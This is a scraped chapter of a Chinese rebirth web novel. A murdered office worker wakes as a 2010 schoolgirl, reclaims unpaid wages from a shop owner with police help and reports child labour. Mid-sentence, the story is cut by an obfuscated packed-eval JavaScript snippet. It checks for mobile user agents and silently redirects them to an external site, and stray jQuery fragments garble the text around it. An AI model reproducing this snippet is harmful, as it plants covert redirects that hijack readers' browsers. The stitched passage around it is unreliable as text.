默认冷灰
24号文字
方正启体

1. 殷言

作者:苏津渡本书字数:K更新时间:
    头顶的塑料吊扇慢悠悠地转。


    周身的燥热和黏腻挥之不去。


    殷言是被小臂上的灼痛疼醒的。


    她趴在沾着干硬面粉的木桌上,臂弯和额角全是汗,小臂上有一大块烫伤,火辣辣地疼。


    恍惚间,她好像还能看见CBD写字楼的冷光。


    白天部长拿新同事出气,小姑娘哭得一抽一抽的,她实在看不下去了,让新同事先回家,揽下了后面的活,留下加班。


    晚上她实在饿了,去地下餐厅吃了份味如嚼蜡的快餐,回办公室时,灯关了大半,整层楼只剩她一个人。


    电脑屏幕的荧光在昏暗中显得阴森森的,殷言聚精会神,手指在键盘上飞舞,喉咙却突然传来一阵剧痛,有人从后勒住了她的脖子!


    窒息感铺天盖地涌来,失去意识前,她脑子里只剩一个念头:她到底碍着谁了?


    生活上,她奉行慎独,没亲人没仇人,像一株顽强的野草。职场上,她作为大头兵,和其他同事没有太大的利益冲突。


    唯一的可能,就是手头那个文博项目,可能触碰到某些人的利益。


    真是……倒霉透顶。


    大脑的自我保护屏蔽了窒息的痛苦,再睁眼就是现在。


    这里应该是某个饭馆的后厨。


    墙壁和天花板发黄,地面上满是黑黑的油渍,水槽里的脏水隐隐发臭,生锈的铁皮柜上菜品和调料随意堆放,角落堆着的盘子上还有灰灰的爪子印,完全不符合“明厨亮灶”的要求。


    直到目光撞上墙上那张卷了角的日历,殷言才僵在原地。


    那上面的红墨水印数字是2010年9月27日。


    她竟然重生了。


    重生回她高二这一年。


    劫后新生的余悸和经历时光回溯的激动在血管中奔涌着,殷言盯着日历看了足足半分钟,才缓缓吐出一口气,接受了这个荒诞的事实。


    尘封已久的记忆随之复苏。


    这里是学校旁边的“胖子烧烤店”,是她勤工俭学的地方。


    五岁那年父母离异,很快各自重组家庭。起初她在两个家之间辗转,后来父母有了新的孩子,家里乱糟糟的,对她力不从心。


    在父母看不到的地方,后妈的尖刻和后爸的无视都在控诉着她的多余。她试图获得他们的好感,无果,后来不管在哪个家都让她如坐针毡。


    五年级起,殷言开始住校。初二起,她不再主动联系父母,寒暑假轮流住在祖辈家里。到了高中,她决心以后不花他们一分钱。


    一个月三千的生活费原封不动地躺在存折里,而她四处找兼职。


    这家烧烤店因为离学校近,晚上可以翻墙出来,是殷言最好的选择。所以即使老板抠门跋扈,总是对她恶语相向,她也一忍再忍。


    就像今天,同事搬炭火时烫伤了她,反倒是她挨了老板一顿骂,现在八点多快闭店了,其他店员在外面吃饭,她一个人被关在后厨反省。


    殷言低头看着小臂上的红痕,嘴角扯出一抹自嘲的笑。


    原来她从小就是个沉默的犟种。


    父母的爱和关注像温暖的土壤,如果能被包裹其中,固然能茁壮成长,但如果没有,她也可以努力寻求其他成长方式,比如,呃,水培?


    用不断流入的生活费来好好爱自己。


    殷言用活水冲刷着小臂上的伤口,找来了冰块,裹上保鲜膜敷在红肿的地方。刺骨的凉意驱散了灼痛,也让她更清醒了几分。


    冰敷的这几分钟里,殷言重新审视自己的生活。


    以前通勤挤地铁时,她看过几本重生小说,知道把握时代最关键,只要搭上经济起飞的风口,她这辈子不用发愁的。


    除此之外,她只需要享受青春,享受生活。


    殷言扔掉快要融化的冰块,钻出分隔厨房和前厅的那道油腻腻的帘子。外面客人只剩两桌,都喝着酒,不知要闹到什么时候。


    站在收银台后的老板正在数钱,计算这周的收益。


    店员们坐在收银台旁边的桌上吃晚饭,三个全职的边聊天边烤串,还有两个兼职的在角落里默不作声地吃青菜。


    “要走了?”老板见殷言走过来问道。


    “老板,我不干了,把这个月的钱结给我吧。”殷言听不出情绪地说。


    店员那桌有两人闻声一愣,用胳膊肘碰碰那个正说得眉飞色舞的同事,一起安静下来听殷言说话。


    老板眼皮都不抬,“结不了,干过十一再说。”


    拖延是老板的惯用手段。


    兼职店员中有一个殷言的学姐,愣是被生生拖了半年,现在还不情不愿地干着。


    她八月的工资就被压了一半,现在是九月的月底了,这一个半月加起来有近三千。


    这笔钱,她一分都不会让黑心老板赖掉。


    “后面我不会再来了,欠我的钱,今天必须结。”殷言抬了抬下巴,目光落在老板手边那沓刚数好的零钱上,“我看你手里这些,就够了。”


    老板像是听到了什么笑话,当着她的面,啪嗒一声把钱锁进了抽屉,一句话不说,斜着眼睛看殷言要怎么收场。


    “你不给,是吧?”


    老板似笑非笑,一言不发,故意晾着她。


    殷言不再追问,低着头,转身走出了烧烤店。


    老板才冷笑出声,对店员那桌,得意洋洋地说:“你们记着胳膊拧不过大腿,过两天十一假期正是忙的时候,谁都不能请假,请一天扣半个月工资!”


    无论殷言是一声不吭走人,还是明天继续乖乖回来干活,老板都是赚的,所以他毫不掩饰自己的嚣张态度。


    店员们赶紧表决心,恭维着老板,那个兼职学姐咬着下唇,眼圈泛红,眼神又晦暗几分。


    可所有人万万没想到,一刻钟后,殷言竟然带着两个穿制服的警察,重新站在了他的店门口。


    “警察叔叔,就是这家烧烤店。”


    殷言清亮的声音,清清楚楚地传进每个人耳朵里。


    两位身穿制服的高大警察走进烧烤店内,那两桌喝酒的客人见状,吓得酒都醒了大半,不知道发生了什么,怕惹祸上身,随便留下点钱匆匆离开。


    没有人顾得上去拦他们,全职店员们在这干一两年了,还没见过有员工带着警察来找老板的,全都看傻了。


    为首的警察姓邬,四十来岁,国字脸,眼神里有常年在一线办案浸染出的锐利,他看向老板时那审视的视线如有实质。


    “你是老板?”


    “啊?啊对对。两位警官有什么事吗?”


    “有人举报你拖欠工资。”


    “误会!都是误会!我这里是小本生意,经常有周转不开的时候,等到有钱了自然会补给他们的。”老板陪着笑脸,油腔滑调地说。


    邬警官闻言严厉起来:“误会?欠学生的钱,你可真好意思!该是多少是多少,现在就结!”


    老板撇撇嘴,很是不服气,但他开店做生意,不想和警察闹不痛快,摔摔打打地拉开抽屉,从里面点出两千多,往桌子上一拍,冲站在警察身后的殷言吼:“够不够!”


    邬


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126947|196122||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    警官把钱转交给殷言,嘱咐道:“点一点。”


    殷言接过,在静可闻针的等待中稳稳地一张张清点,然后抬头回复邬警官:“够了。”


    邬警官点点头,以为事情圆满解决时,身边的女孩忽然开口道:“警察叔叔,他还欠我学姐的工资。”


    站在角落的兼职学姐曾亦纯猛然被点,抬起头时正对上众人看过来的视线。


    曾亦纯立刻慌了,昏暗的灯光让她晕眩,支支吾吾地不知道该说什么。


    老板恶名在外,即使有警察在,她也不敢随意控诉他,而且烧烤店在学校旁边,如果老板事后找她麻烦怎么办,要不还是息事宁人……


    “学姐。”


    殷言平静地叫了她一声,她下意识看过去。


    这位学妹的一双黑眼睛在晦暗中依然熠熠生辉,仿佛拥有无限生机。


    学妹在帮她。


    她知道这是她要回工资、离开这里的绝佳机会,而且从那双果决的眼睛中,她读出如果这一次她放弃了,没人能再帮她。


    “我……”她的声音因为紧张而变形,听起来带些哨音,让人不舒服,但有警察和殷言在,没人像往常一样打断她,她强撑着继续说,“对,也欠我的工资。”


    老板没想到平时绵羊一样的女孩敢在警察面前咬他,他暗骂一声,又点出一沓钱,扔到旁边的餐桌上,怒道:“拿钱滚蛋!”


    曾亦纯从桌子后面走出来,把钱拢起来,粗略估计是够了,不敢在这里细数。想起刚才殷言顶着无声的压力不紧不慢地点钱,她现在满心佩服。


    邬警官见曾亦纯一脸喜气,心情也跟着轻松几分,正要准备收队时,身边那个瘦弱的女孩又开口了。


    “警察叔叔,我举报这家店非法雇佣童工。


    “我今年四月开始在这里打工,但我九月份才满十六岁。今天拿到的工资包括八月的,可以作为证据。”殷言淬了毒的小嘴清楚地说道。


    一时间,所有人都像第一次认识殷言似的,直勾勾地盯着她。


    邬警官和同事对视一眼,都从彼此眼中看到了惊讶。


    老板脑袋嗡嗡响,眼前阵阵发黑,他是造了多大的孽遇上了这么个员工!一次次整他不够,这是要把他整死啊!


    老板气得浑身发抖,抄起手边的电话,嘴里骂骂咧咧,冲出收银台,要朝着殷言砸过去。


    邬警官立刻反应过来,抢先握住老板的手腕往他身后一拧,一招就把人制住。


    “哎哟——!”


    老板疼得惨叫一声,整个人被按在了旁边的空桌上,后背被硌得生疼,动弹不得。


    另一名警官指着那些站起来的店员喝道:“干什么!警察在这还要动手?都坐下,老实点!”


    店员们才意识到自己的举动让警察叔叔误会了,连忙坐回去。


    事情发展成这样,远远超出他们的预料。


    最后殷言和老板都被警察带走了,一通笔录下来,离开派出所时已经十点多了。


    听邬警官说,老板很可能面临五千元罚金、行政拘留三天和歇业整改一周的处罚,这意味着他将错过十一黄金周最赚钱的几天。


    九月末的夜风,带着初秋的凉意,吹在身上清清爽爽的。


    殷言走在回学校的小路上,路灯把她的影子拉得长长的,心里畅快极了。


    就在这时,一个清脆的声音突然在她脑海里响了起来:


    【恭喜宿主,成功为自己及学姐讨薪成功,功德积分达标!】


    【系统库已解锁,请宿主选择心仪的系统~】
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)